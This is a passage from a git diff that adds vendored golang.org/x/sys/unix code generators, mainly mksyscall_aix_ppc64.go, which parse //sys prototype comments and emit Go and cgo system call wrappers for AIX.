-+ return Param{ps[1], ps[2]}
-+}
-+
-+func main() {
-+ flag.Usage = usage
-+ flag.Parse()
-+ if len(flag.Args()) <= 0 {
-+ fmt.Fprintf(os.Stderr, "no files to parse provided\n")
-+ usage()
-+ }
-+
-+ endianness := ""
-+ if *b32 {
-+ endianness = "big-endian"
-+ } else if *l32 {
-+ endianness = "little-endian"
-+ }
-+
-+ pack := ""
-+ text := ""
-+ cExtern := "/*\n#include <stdint.h>\n#include <stddef.h>\n"
-+ for _, path := range flag.Args() {
-+ file, err := os.Open(path)
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+ s := bufio.NewScanner(file)
-+ for s.Scan() {
-+ t := s.Text()
-+ t = strings.TrimSpace(t)
-+ t = regexp.MustCompile(`\s+`).ReplaceAllString(t, ` `)
-+ if p := regexp.MustCompile(`^package (\S+)$`).FindStringSubmatch(t); p != nil && pack == "" {
-+ pack = p[1]
-+ }
-+ nonblock := regexp.MustCompile(`^\/\/sysnb `).FindStringSubmatch(t)
-+ if regexp.MustCompile(`^\/\/sys `).FindStringSubmatch(t) == nil && nonblock == nil {
-+ continue
-+ }
-+
-+ // Line must be of the form
-+ // func Open(path string, mode int, perm int) (fd int, err error)
-+ // Split into name, in params, out params.
-+ f := regexp.MustCompile(`^\/\/sys(nb)? (\w+)\(([^()]*)\)\s*(?:\(([^()]+)\))?\s*(?:=\s*(?:(\w*)\.)?(\w*))?$`).FindStringSubmatch(t)
-+ if f == nil {
-+ fmt.Fprintf(os.Stderr, "%s:%s\nmalformed //sys declaration\n", path, t)
-+ os.Exit(1)
-+ }
-+ funct, inps, outps, modname, sysname := f[2], f[3], f[4], f[5], f[6]
-+
-+ // Split argument lists on comma.
-+ in := parseParamList(inps)
-+ out := parseParamList(outps)
-+
-+ inps = strings.Join(in, ", ")
-+ outps = strings.Join(out, ", ")
-+
-+ // Try in vain to keep people from editing this file.
-+ // The theory is that they jump into the middle of the file
-+ // without reading the header.
-+ text += "// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\n"
-+
-+ // Check if value return, err return available
-+ errvar := ""
-+ retvar := ""
-+ rettype := ""
-+ for _, param := range out {
-+ p := parseParam(param)
-+ if p.Type == "error" {
-+ errvar = p.Name
-+ } else {
-+ retvar = p.Name
-+ rettype = p.Type
-+ }
-+ }
-+
-+ // System call name.
-+ if sysname == "" {
-+ sysname = funct
-+ }
-+ sysname = regexp.MustCompile(`([a-z])([A-Z])`).ReplaceAllString(sysname, `${1}_$2`)
-+ sysname = strings.ToLower(sysname) // All libc functions are lowercase.
-+
-+ cRettype := ""
-+ if rettype == "unsafe.Pointer" {
-+ cRettype = "uintptr_t"
-+ } else if rettype == "uintptr" {
-+ cRettype = "uintptr_t"
-+ } else if regexp.MustCompile(`^_`).FindStringSubmatch(rettype) != nil {
-+ cRettype = "uintptr_t"
-+ } else if rettype == "int" {
-+ cRettype = "int"
-+ } else if rettype == "int32" {
-+ cRettype = "int"
-+ } else if rettype == "int64" {
-+ cRettype = "long long"
-+ } else if rettype == "uint32" {
-+ cRettype = "unsigned int"
-+ } else if rettype == "uint64" {
-+ cRettype = "unsigned long long"
-+ } else {
-+ cRettype = "int"
-+ }
-+ if sysname == "exit" {
-+ cRettype = "void"
-+ }
-+
-+ // Change p.Types to c
-+ var cIn []string
-+ for _, param := range in {
-+ p := parseParam(param)
-+ if regexp.MustCompile(`^\*`).FindStringSubmatch(p.Type) != nil {
-+ cIn = append(cIn, "uintptr_t")
-+ } else if p.Type == "string" {
-+ cIn = append(cIn, "uintptr_t")
-+ } else if regexp.MustCompile(`^\[\](.*)`).FindStringSubmatch(p.Type) != nil {
-+ cIn = append(cIn, "uintptr_t", "size_t")
-+ } else if p.Type == "unsafe.Pointer" {
-+ cIn = append(cIn, "uintptr_t")
-+ } else if p.Type == "uintptr" {
-+ cIn = append(cIn, "uintptr_t")
-+ } else if regexp.MustCompile(`^_`).FindStringSubmatch(p.Type) != nil {
-+ cIn = append(cIn, "uintptr_t")
-+ } else if p.Type == "int" {
-+ cIn = append(cIn, "int")
-+ } else if p.Type == "int32" {
-+ cIn = append(cIn, "int")
-+ } else if p.Type == "int64" {
-+ cIn = append(cIn, "long long")
-+ } else if p.Type == "uint32" {
-+ cIn = append(cIn, "unsigned int")
-+ } else if p.Type == "uint64" {
-+ cIn = append(cIn, "unsigned long long")
-+ } else {
-+ cIn = append(cIn, "int")
-+ }
-+ }
-+
-+ if funct != "fcntl" && funct != "FcntlInt" && funct != "readlen" && funct != "writelen" {
-+ if sysname == "select" {
-+ // select is a keyword of Go. Its name is
-+ // changed to c_select.
-+ cExtern += "#define c_select select\n"
-+ }
-+ // Imports of system calls from libc
-+ cExtern += fmt.Sprintf("%s %s", cRettype, sysname)
-+ cIn := strings.Join(cIn, ", ")
-+ cExtern += fmt.Sprintf("(%s);\n", cIn)
-+ }
-+
-+ // So file name.
-+ if *aix {
-+ if modname == "" {
-+ modname = "libc.a/shr_64.o"
-+ } else {
-+ fmt.Fprintf(os.Stderr, "%s: only syscall using libc are available\n", funct)
-+ os.Exit(1)
-+ }
-+ }
-+
-+ strconvfunc := "C.CString"
-+
-+ // Go function header.
-+ if outps != "" {
-+ outps = fmt.Sprintf(" (%s)", outps)
-+ }
-+ if text != "" {
-+ text += "\n"
-+ }
-+
-+ text += fmt.Sprintf("func %s(%s)%s {\n", funct, strings.Join(in, ", "), outps)
-+
-+ // Prepare arguments to Syscall.
-+ var args []string
-+ n := 0
-+ argN := 0
-+ for _, param := range in {
-+ p := parseParam(param)
-+ if regexp.MustCompile(`^\*`).FindStringSubmatch(p.Type) != nil {
-+ args = append(args, "C.uintptr_t(uintptr(unsafe.Pointer("+p.Name+")))")
-+ } else if p.Type == "string" && errvar != "" {
-+ text += fmt.Sprintf("\t_p%d := uintptr(unsafe.Pointer(%s(%s)))\n", n, strconvfunc, p.Name)
-+ args = append(args, fmt.Sprintf("C.uintptr_t(_p%d)", n))
-+ n++
-+ } else if p.Type == "string" {
-+ fmt.Fprintf(os.Stderr, path+":"+funct+" uses string arguments, but has no error return\n")
-+ text += fmt.Sprintf("\t_p%d := uintptr(unsafe.Pointer(%s(%s)))\n", n, strconvfunc, p.Name)
-+ args = append(args, fmt.Sprintf("C.uintptr_t(_p%d)", n))
-+ n++
-+ } else if m := regexp.MustCompile(`^\[\](.*)`).FindStringSubmatch(p.Type); m != nil {
-+ // Convert slice into pointer, length.
-+ // Have to be careful not to take address of &a[0] if len == 0:
-+ // pass nil in that case.
-+ text += fmt.Sprintf("\tvar _p%d *%s\n", n, m[1])
-+ text += fmt.Sprintf("\tif len(%s) > 0 {\n\t\t_p%d = &%s[0]\n\t}\n", p.Name, n, p.Name)
-+ args = append(args, fmt.Sprintf("C.uintptr_t(uintptr(unsafe.Pointer(_p%d)))", n))
-+ n++
-+ text += fmt.Sprintf("\tvar _p%d int\n", n)
-+ text += fmt.Sprintf("\t_p%d = len(%s)\n", n, p.Name)
-+ args = append(args, fmt.Sprintf("C.size_t(_p%d)", n))
-+ n++
-+ } else if p.Type == "int64" && endianness != "" {
-+ if endianness == "big-endian" {
-+ args = append(args, fmt.Sprintf("uintptr(%s>>32)", p.Name), fmt.Sprintf("uintptr(%s)", p.Name))
-+ } else {
-+ args = append(args, fmt.Sprintf("uintptr(%s)", p.Name), fmt.Sprintf("uintptr(%s>>32)", p.Name))
-+ }
-+ n++
-+ } else if p.Type == "bool" {
-+ text += fmt.Sprintf("\tvar _p%d uint32\n", n)
-+ text += fmt.Sprintf("\tif %s {\n\t\t_p%d = 1\n\t} else {\n\t\t_p%d = 0\n\t}\n", p.Name, n, n)
-+ args = append(args, fmt.Sprintf("_p%d", n))
-+ } else if regexp.MustCompile(`^_`).FindStringSubmatch(p.Type) != nil {
-+ args = append(args, fmt.Sprintf("C.uintptr_t(uintptr(%s))", p.Name))
-+ } else if p.Type == "unsafe.Pointer" {
-+ args = append(args, fmt.Sprintf("C.uintptr_t(uintptr(%s))", p.Name))
-+ } else if p.Type == "int" {
-+ if (argN == 2) && ((funct == "readlen") || (funct == "writelen")) {
-+ args = append(args, fmt.Sprintf("C.size_t(%s)", p.Name))
-+ } else if argN == 0 && funct == "fcntl" {
-+ args = append(args, fmt.Sprintf("C.uintptr_t(%s)", p.Name))
-+ } else if (argN == 2) && ((funct == "fcntl") || (funct == "FcntlInt")) {
-+ args = append(args, fmt.Sprintf("C.uintptr_t(%s)", p.Name))
-+ } else {
-+ args = append(args, fmt.Sprintf("C.int(%s)", p.Name))
-+ }
-+ } else if p.Type == "int32" {
-+ args = append(args, fmt.Sprintf("C.int(%s)", p.Name))
-+ } else if p.Type == "int64" {
-+ args = append(args, fmt.Sprintf("C.longlong(%s)", p.Name))
-+ } else if p.Type == "uint32" {
-+ args = append(args, fmt.Sprintf("C.uint(%s)", p.Name))
-+ } else if p.Type == "uint64" {
-+ args = append(args, fmt.Sprintf("C.ulonglong(%s)", p.Name))
-+ } else if p.Type == "uintptr" {
-+ args = append(args, fmt.Sprintf("C.uintptr_t(%s)", p.Name))
-+ } else {
-+ args = append(args, fmt.Sprintf("C.int(%s)", p.Name))
-+ }
-+ argN++
-+ }
-+
-+ // Actual call.
-+ arglist := strings.Join(args, ", ")
-+ call := ""
-+ if sysname == "exit" {
-+ if errvar != "" {
-+ call += "er :="
-+ } else {
-+ call += ""
-+ }
-+ } else if errvar != "" {
-+ call += "r0,er :="
-+ } else if retvar != "" {
-+ call += "r0,_ :="
-+ } else {
-+ call += ""
-+ }
-+ if sysname == "select" {
-+ // select is a keyword of Go. Its name is
-+ // changed to c_select.
-+ call += fmt.Sprintf("C.c_%s(%s)", sysname, arglist)
-+ } else {
-+ call += fmt.Sprintf("C.%s(%s)", sysname, arglist)
-+ }
-+
-+ // Assign return values.
-+ body := ""
-+ for i := 0; i < len(out); i++ {
-+ p := parseParam(out[i])
-+ reg := ""
-+ if p.Name == "err" {
-+ reg = "e1"
-+ } else {
-+ reg = "r0"
-+ }
-+ if reg != "e1" {
-+ body += fmt.Sprintf("\t%s = %s(%s)\n", p.Name, p.Type, reg)
-+ }
-+ }
-+
-+ // verify return
-+ if sysname != "exit" && errvar != "" {
-+ if regexp.MustCompile(`^uintptr`).FindStringSubmatch(cRettype) != nil {
-+ body += "\tif (uintptr(r0) ==^uintptr(0) && er != nil) {\n"
-+ body += fmt.Sprintf("\t\t%s = er\n", errvar)
-+ body += "\t}\n"
-+ } else {
-+ body += "\tif (r0 ==-1 && er != nil) {\n"
-+ body += fmt.Sprintf("\t\t%s = er\n", errvar)
-+ body += "\t}\n"
-+ }
-+ } else if errvar != "" {
-+ body += "\tif (er != nil) {\n"
-+ body += fmt.Sprintf("\t\t%s = er\n", errvar)
-+ body += "\t}\n"
-+ }
-+
-+ text += fmt.Sprintf("\t%s\n", call)
-+ text += body
-+
-+ text += "\treturn\n"
-+ text += "}\n"
-+ }
-+ if err := s.Err(); err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+ file.Close()
-+ }
-+ imp := ""
-+ if pack != "unix" {
-+ imp = "import \"golang.org/x/sys/unix\"\n"
-+
-+ }
-+ fmt.Printf(srcTemplate, cmdLine(), buildTags(), pack, cExtern, imp, text)
-+}
-+
-+const srcTemplate = `// %s
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build %s
-+
-+package %s
-+
-+
-+%s
-+*/
-+import "C"
-+import (
-+ "unsafe"
-+)
-+
-+
-+%s
-+
-+%s
-+`
-diff --git a/vendor/golang.org/x/sys/unix/mksyscall_aix_ppc64.go b/vendor/golang.org/x/sys/unix/mksyscall_aix_ppc64.go
-new file mode 100644
-index 00000000..c9600995
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/mksyscall_aix_ppc64.go
-@@ -0,0 +1,614 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build ignore
-+
-+/*
-+This program reads a file containing function prototypes
-+(like syscall_aix.go) and generates system call bodies.
-+The prototypes are marked by lines beginning with "//sys"
-+and read like func declarations if //sys is replaced by func, but:
-+ * The parameter lists must give a name for each argument.
-+ This includes return parameters.
-+ * The parameter lists must give a type for each argument:
-+ the (x, y, z int) shorthand is not allowed.
-+ * If the return parameter is an error number, it must be named err.
-+ * If go func name needs to be different than its libc name,
-+ * or the function is not in libc, name could be specified
-+ * at the end, after "=" sign, like
-+ //sys getsockopt(s int, level int, name int, val uintptr, vallen *_Socklen) (err error) = libsocket.getsockopt
-+
-+
-+This program will generate three files and handle both gc and gccgo implementation:
-+ - zsyscall_aix_ppc64.go: the common part of each implementation (error handler, pointer creation)
-+ - zsyscall_aix_ppc64_gc.go: gc part with //go_cgo_import_dynamic and a call to syscall6
-+ - zsyscall_aix_ppc64_gccgo.go: gccgo part with C function and conversion to C type.
-+
-+ The generated code looks like this
-+
-+zsyscall_aix_ppc64.go
-+func asyscall(...) (n int, err error) {
-+ // Pointer Creation
-+ r1, e1 := callasyscall(...)
-+ // Type Conversion
-+ // Error Handler
-+ return
-+}
-+
-+zsyscall_aix_ppc64_gc.go
-+//go:cgo_import_dynamic libc_asyscall asyscall "libc.a/shr_64.o"
-+//go:linkname libc_asyscall libc_asyscall
-+var asyscall syscallFunc
-+
-+func callasyscall(...) (r1 uintptr, e1 Errno) {
-+ r1, _, e1 = syscall6(uintptr(unsafe.Pointer(&libc_asyscall)), "nb_args", ... )
-+ return
-+}
-+
-+zsyscall_aix_ppc64_ggcgo.go
-+
-+// int asyscall(...)
-+
-+import "C"
-+
-+func callasyscall(...) (r1 uintptr, e1 Errno) {
-+ r1 = uintptr(C.asyscall(...))
-+ e1 = syscall.GetErrno()
-+ return
-+}
-+*/
-+
-+package main
-+
-+import (
-+ "bufio"
-+ "flag"
-+ "fmt"
-+ "io/ioutil"
-+ "os"
-+ "regexp"
-+ "strings"
-+)
-+
-+var (
-+ b32 = flag.Bool("b32", false, "32bit big-endian")
-+ l32 = flag.Bool("l32", false, "32bit little-endian")
-+ aix = flag.Bool("aix", false, "aix")
-+ tags = flag.String("tags", "", "build tags")
-+)
-+
-+// cmdLine returns this programs's commandline arguments
-+func cmdLine() string {
-+ return "go run mksyscall_aix_ppc64.go " + strings.Join(os.Args[1:], " ")
-+}
-+
-+// buildTags returns build tags
-+func buildTags() string {
-+ return *tags
-+}
-+
-+// Param is function parameter
-+type Param struct {
-+ Name string
-+ Type string
-+}
-+
-+// usage prints the program usage
-+func usage() {
-+ fmt.Fprintf(os.Stderr, "usage: go run mksyscall_aix_ppc64.go [-b32 | -l32] [-tags x,y] [file ...]\n")
-+ os.Exit(1)
-+}
-+
-+// parseParamList parses parameter list and returns a slice of parameters
-+func parseParamList(list string) []string {
-+ list = strings.TrimSpace(list)
-+ if list == "" {
-+ return []string{}
-+ }
-+ return regexp.MustCompile(`\s*,\s*`).Split(list, -1)
-+}
-+
-+// parseParam splits a parameter into name and type
-+func parseParam(p string) Param {
-+ ps := regexp.MustCompile(`^(\S*) (\S*)$`).FindStringSubmatch(p)
-+ if ps == nil {
-+ fmt.Fprintf(os.Stderr, "malformed parameter: %s\n", p)
-+ os.Exit(1)
-+ }
-+ return Param{ps[1], ps[2]}
-+}
-+
-+func main() {
-+ flag.Usage = usage
-+ flag.Parse()
-+ if len(flag.Args()) <= 0 {
-+ fmt.Fprintf(os.Stderr, "no files to parse provided\n")
-+ usage()
-+ }
-+
-+ endianness := ""
-+ if *b32 {
-+ endianness = "big-endian"
-+ } else if *l32 {
-+ endianness = "little-endian"
-+ }
-+
-+ pack := ""
-+ // GCCGO
-+ textgccgo := ""
-+ cExtern := "/*\n#include <stdint.h>\n"
-+ // GC
-+ textgc := ""
-+ dynimports := ""
-+ linknames := ""
-+ var vars []string
-+ // COMMON
-+ textcommon := ""
-+ for _, path := range flag.Args() {
-+ file, err := os.Open(path)
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+ s := bufio.NewScanner(file)
-+ for s.Scan() {
-+ t := s.Text()
-+ t = strings.TrimSpace(t)
-+ t = regexp.MustCompile(`\s+`).ReplaceAllString(t, ` `)
-+ if p := regexp.MustCompile(`^package (\S+)$`).FindStringSubmatch(t); p != nil && pack == "" {
-+ pack = p[1]
-+ }
-+ nonblock := regexp.MustCompile(`^\/\/sysnb `).FindStringSubmatch(t)
-+ if regexp.MustCompile(`^\/\/sys `).FindStringSubmatch(t) == nil && nonblock == nil {
-+ continue
-+ }
-+
-+ // Line must be of the form
-+ // func Open(path string, mode int, perm int) (fd int, err error)
-+ // Split into name, in params, out params.
-+ f := regexp.MustCompile(`^\/\/sys(nb)? (\w+)\(([^()]*)\)\s*(?:\(([^()]+)\))?\s*(?:=\s*(?:(\w*)\.)?(\w*))?$`).FindStringSubmatch(t)
-+ if f == nil {
-+ fmt.Fprintf(os.Stderr, "%s:%s\nmalformed //sys declaration\n", path, t)
-+ os.Exit(1)
-+ }
-+ funct, inps, outps, modname, sysname := f[2], f[3], f[4], f[5], f[6]
-+
-+ // Split argument lists on comma.
-+ in := parseParamList(inps)
-+ out := parseParamList(outps)
-+
-+ inps = strings.Join(in, ", ")
-+ outps = strings.Join(out, ", ")
-+
-+ if sysname == "" {
-+ sysname = funct
-+ }
-+
-+ onlyCommon := false
-+ if funct == "readlen" || funct == "writelen" || funct == "FcntlInt" || funct == "FcntlFlock" {
-+ // This function call another syscall which is already implemented.
-+ // Therefore, the gc and gccgo part must not be generated.
-+ onlyCommon = true
-+ }
-+
-+ // Try in vain to keep people from editing this file.
-+ // The theory is that they jump into the middle of the file
-+ // without reading the header.
-+
-+ textcommon += "// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\n"
-+ if !onlyCommon {
-+ textgccgo += "// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\n"
-+ textgc += "// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\n"
-+ }
-+
-+ // Check if value return, err return available
-+ errvar := ""
-+ rettype := ""
-+ for _, param := range out {
-+ p := parseParam(param)
-+ if p.Type == "error" {
-+ errvar = p.Name
-+ } else {
-+ rettype = p.Type
-+ }
-+ }
-+
-+ sysname = regexp.MustCompile(`([a-z])([A-Z])`).ReplaceAllString(sysname, `${1}_$2`)
-+ sysname = strings.ToLower(sysname) // All libc functions are lowercase.
-+
-+ // GCCGO Prototype return type
-+ cRettype := ""
-+ if rettype == "unsafe.Pointer" {
-+ cRettype = "uintptr_t"
-+ } else if rettype == "uintptr" {
-+ cRettype = "uintptr_t"
-+ } else if regexp.MustCompile(`^_`).FindStringSubmatch(rettype) != nil {
-+ cRettype = "uintptr_t"
-+ } else if rettype == "int" {
-+ cRettype = "int"
-+ } else if rettype == "int32" {
-+ cRettype = "int"
-+ } else if rettype == "int64" {
-+ cRettype = "long long"
-+ } else if rettype == "uint32" {
-+ cRettype = "unsigned int"
-+ } else if rettype == "uint64" {
-+ cRettype = "unsigned long long"
-+ } else {
-+ cRettype = "int"
-+ }
-+ if sysname == "exit" {
-+ cRettype = "void"
-+ }
-+
-+ // GCCGO Prototype arguments type
-+ var cIn []string
-+ for i, param := range in {
-+ p := parseParam(param)
-+ if regexp.MustCompile(`^\*`).FindStringSubmatch(p.Type) != nil {
-+ cIn = append(cIn, "uintptr_t")
-+ } else if p.Type == "string" {
-+ cIn = append(cIn, "uintptr_t")
-+ } else if regexp.MustCompile(`^\[\](.*)`).FindStringSubmatch(p.Type) != nil {
-+ cIn = append(cIn, "uintptr_t", "size_t")
-+ } else if p.Type == "unsafe.Pointer" {
-+ cIn = append(cIn, "uintptr_t")
-+ } else if p.Type == "uintptr" {
-+ cIn = append(cIn, "uintptr_t")
-+ } else if regexp.MustCompile(`^_`).FindStringSubmatch(p.Type) != nil {
-+ cIn = append(cIn, "uintptr_t")
-+ } else if p.Type == "int" {
-+ if (i == 0 || i == 2) && funct == "fcntl" {
-+ // These fcntl arguments needs to be uintptr to be able to call FcntlInt and FcntlFlock
-+ cIn = append(cIn, "uintptr_t")
-+ } else {
-+ cIn = append(cIn, "int")
-+ }
-+
-+ } else if p.Type == "int32" {
-+ cIn = append(cIn, "int")
-+ } else if p.Type == "int64" {
-+ cIn = append(cIn, "long long")
-+ } else if p.Type == "uint32" {
-+ cIn = append(cIn, "unsigned int")
-+ } else if p.Type == "uint64" {
-+ cIn = append(cIn, "unsigned long long")
-+ } else {
-+ cIn = append(cIn, "int")
-+ }
-+ }
-+
-+ if !onlyCommon {
-+ // GCCGO Prototype Generation
-+ // Imports of system calls from libc
-+ if sysname == "select" {
-+ // select is a keyword of Go. Its name is
-+ // changed to c_select.
-+ cExtern += "#define c_select select\n"
-+ }
-+ cExtern += fmt.Sprintf("%s %s", cRettype, sysname)
-+ cIn := strings.Join(cIn, ", ")
-+ cExtern += fmt.Sprintf("(%s);\n", cIn)
-+ }
-+ // GC Library name
-+ if modname == "" {
-+ modname = "libc.a/shr_64.o"
-+ } else {
-+ fmt.Fprintf(os.Stderr, "%s: only syscall using libc are available\n", funct)
-+ os.Exit(1)
-+ }
-+ sysvarname := fmt.Sprintf("libc_%s", sysname)
-+
-+ if !onlyCommon {
-+ // GC Runtime import of function to allow cross-platform builds.
-+ dynimports += fmt.Sprintf("//go:cgo_import_dynamic %s %s \"%s\"\n", sysvarname, sysname, modname)
-+ // GC Link symbol to proc address variable.
-+ linknames += fmt.Sprintf("//go:linkname %s %s\n", sysvarname, sysvarname)
-+ // GC Library proc address variable.
-+ vars = append(vars, sysvarname)
-+ }
-+
-+ strconvfunc := "BytePtrFromString"
-+ strconvtype := "*byte"
-+
-+ // Go function header.
-+ if outps != "" {
-+ outps = fmt.Sprintf(" (%s)", outps)
-+ }
-+ if textcommon != "" {
-+ textcommon += "\n"
-+ }
-+
-+ textcommon += fmt.Sprintf("func %s(%s)%s {\n", funct, strings.Join(in, ", "), outps)
-+
-+ // Prepare arguments tocall.
-+ var argscommon []string // Arguments in the common part
-+ var argscall []string // Arguments for call prototype
-+ var argsgc []string // Arguments for gc call (with syscall6)
-+ var argsgccgo []string // Arguments for gccgo call (with C.name_of_syscall)
-+ n := 0
-+ argN := 0
-+ for _, param := range in {
-+ p := parseParam(param)
-+ if regexp.MustCompile(`^\*`).FindStringSubmatch(p.Type) != nil {
-+ argscommon = append(argscommon, fmt.Sprintf("uintptr(unsafe.Pointer(%s))", p.Name))
-+ argscall = append(argscall, fmt.Sprintf("%s uintptr", p.Name))
-+ argsgc = append(argsgc, p.Name)
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.uintptr_t(%s)", p.Name))
-+ } else if p.Type == "string" && errvar != "" {
-+ textcommon += fmt.Sprintf("\tvar _p%d %s\n", n, strconvtype)
-+ textcommon += fmt.Sprintf("\t_p%d, %s = %s(%s)\n", n, errvar, strconvfunc, p.Name)
-+ textcommon += fmt.Sprintf("\tif %s != nil {\n\t\treturn\n\t}\n", errvar)
-+
-+ argscommon = append(argscommon, fmt.Sprintf("uintptr(unsafe.Pointer(_p%d))", n))
-+ argscall = append(argscall, fmt.Sprintf("_p%d uintptr ", n))
-+ argsgc = append(argsgc, fmt.Sprintf("_p%d", n))
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.uintptr_t(_p%d)", n))
-+ n++
-+ } else if p.Type == "string" {
-+ fmt.Fprintf(os.Stderr, path+":"+funct+" uses string arguments, but has no error return\n")
-+ textcommon += fmt.Sprintf("\tvar _p%d %s\n", n, strconvtype)
-+ textcommon += fmt.Sprintf("\t_p%d, %s = %s(%s)\n", n, errvar, strconvfunc, p.Name)
-+ textcommon += fmt.Sprintf("\tif %s != nil {\n\t\treturn\n\t}\n", errvar)
-+
-+ argscommon = append(argscommon, fmt.Sprintf("uintptr(unsafe.Pointer(_p%d))", n))
-+ argscall = append(argscall, fmt.Sprintf("_p%d uintptr", n))
-+ argsgc = append(argsgc, fmt.Sprintf("_p%d", n))
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.uintptr_t(_p%d)", n))
-+ n++
-+ } else if m := regexp.MustCompile(`^\[\](.*)`).FindStringSubmatch(p.Type); m != nil {
-+ // Convert slice into pointer, length.
-+ // Have to be careful not to take address of &a[0] if len == 0:
-+ // pass nil in that case.
-+ textcommon += fmt.Sprintf("\tvar _p%d *%s\n", n, m[1])
-+ textcommon += fmt.Sprintf("\tif len(%s) > 0 {\n\t\t_p%d = &%s[0]\n\t}\n", p.Name, n, p.Name)
-+ argscommon = append(argscommon, fmt.Sprintf("uintptr(unsafe.Pointer(_p%d))", n), fmt.Sprintf("len(%s)", p.Name))
-+ argscall = append(argscall, fmt.Sprintf("_p%d uintptr", n), fmt.Sprintf("_lenp%d int", n))
-+ argsgc = append(argsgc, fmt.Sprintf("_p%d", n), fmt.Sprintf("uintptr(_lenp%d)", n))
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.uintptr_t(_p%d)", n), fmt.Sprintf("C.size_t(_lenp%d)", n))
-+ n++
-+ } else if p.Type == "int64" && endianness != "" {
-+ fmt.Fprintf(os.Stderr, path+":"+funct+" uses int64 with 32 bits mode. Case not yet implemented\n")
-+ } else if p.Type == "bool" {
-+ fmt.Fprintf(os.Stderr, path+":"+funct+" uses bool. Case not yet implemented\n")
-+ } else if regexp.MustCompile(`^_`).FindStringSubmatch(p.Type) != nil || p.Type == "unsafe.Pointer" {
-+ argscommon = append(argscommon, fmt.Sprintf("uintptr(%s)", p.Name))
-+ argscall = append(argscall, fmt.Sprintf("%s uintptr", p.Name))
-+ argsgc = append(argsgc, p.Name)
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.uintptr_t(%s)", p.Name))
-+ } else if p.Type == "int" {
-+ if (argN == 0 || argN == 2) && ((funct == "fcntl") || (funct == "FcntlInt") || (funct == "FcntlFlock")) {
-+ // These fcntl arguments need to be uintptr to be able to call FcntlInt and FcntlFlock
-+ argscommon = append(argscommon, fmt.Sprintf("uintptr(%s)", p.Name))
-+ argscall = append(argscall, fmt.Sprintf("%s uintptr", p.Name))
-+ argsgc = append(argsgc, p.Name)
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.uintptr_t(%s)", p.Name))
-+
-+ } else {
-+ argscommon = append(argscommon, p.Name)
-+ argscall = append(argscall, fmt.Sprintf("%s int", p.Name))
-+ argsgc = append(argsgc, fmt.Sprintf("uintptr(%s)", p.Name))
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.int(%s)", p.Name))
-+ }
-+ } else if p.Type == "int32" {
-+ argscommon = append(argscommon, p.Name)
-+ argscall = append(argscall, fmt.Sprintf("%s int32", p.Name))
-+ argsgc = append(argsgc, fmt.Sprintf("uintptr(%s)", p.Name))
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.int(%s)", p.Name))
-+ } else if p.Type == "int64" {
-+ argscommon = append(argscommon, p.Name)
-+ argscall = append(argscall, fmt.Sprintf("%s int64", p.Name))
-+ argsgc = append(argsgc, fmt.Sprintf("uintptr(%s)", p.Name))
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.longlong(%s)", p.Name))
-+ } else if p.Type == "uint32" {
-+ argscommon = append(argscommon, p.Name)
-+ argscall = append(argscall, fmt.Sprintf("%s uint32", p.Name))
-+ argsgc = append(argsgc, fmt.Sprintf("uintptr(%s)", p.Name))
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.uint(%s)", p.Name))
-+ } else if p.Type == "uint64" {
-+ argscommon = append(argscommon, p.Name)
-+ argscall = append(argscall, fmt.Sprintf("%s uint64", p.Name))
-+ argsgc = append(argsgc, fmt.Sprintf("uintptr(%s)", p.Name))
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.ulonglong(%s)", p.Name))
-+ } else if p.Type == "uintptr" {
-+ argscommon = append(argscommon, p.Name)
-+ argscall = append(argscall, fmt.Sprintf("%s uintptr", p.Name))
-+ argsgc = append(argsgc, p.Name)
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.uintptr_t(%s)", p.Name))
-+ } else {
-+ argscommon = append(argscommon, fmt.Sprintf("int(%s)", p.Name))
-+ argscall = append(argscall, fmt.Sprintf("%s int", p.Name))
-+ argsgc = append(argsgc, fmt.Sprintf("uintptr(%s)", p.Name))
-+ argsgccgo = append(argsgccgo, fmt.Sprintf("C.int(%s)", p.Name))
-+ }
-+ argN++
-+ }
-+ nargs := len(argsgc)
-+
-+ // COMMON function generation
-+ argscommonlist := strings.Join(argscommon, ", ")
-+ callcommon := fmt.Sprintf("call%s(%s)", sysname, argscommonlist)
-+ ret := []string{"_", "_"}
-+ body := ""
-+ doErrno := false
-+ for i := 0; i < len(out); i++ {
-+ p := parseParam(out[i])
-+ reg := ""
-+ if p.Name == "err" {
-+ reg = "e1"
-+ ret[1] = reg
-+ doErrno = true
-+ } else {
-+ reg = "r0"
-+ ret[0] = reg
-+ }
-+ if p.Type == "bool" {
-+ reg = fmt.Sprintf("%s != 0", reg)
-+ }
-+ if reg != "e1" {
-+ body += fmt.Sprintf("\t%s = %s(%s)\n", p.Name, p.Type, reg)
-+ }
-+ }
-+ if ret[0] == "_" && ret[1] == "_" {
-+ textcommon += fmt.Sprintf("\t%s\n", callcommon)
-+ } else {
-+ textcommon += fmt.Sprintf("\t%s, %s := %s\n", ret[0], ret[1], callcommon)
-+ }
-+ textcommon += body
-+
-+ if doErrno {
-+ textcommon += "\tif e1 != 0 {\n"
-+ textcommon += "\t\terr = errnoErr(e1)\n"
-+ textcommon += "\t}\n"
-+ }
-+ textcommon += "\treturn\n"
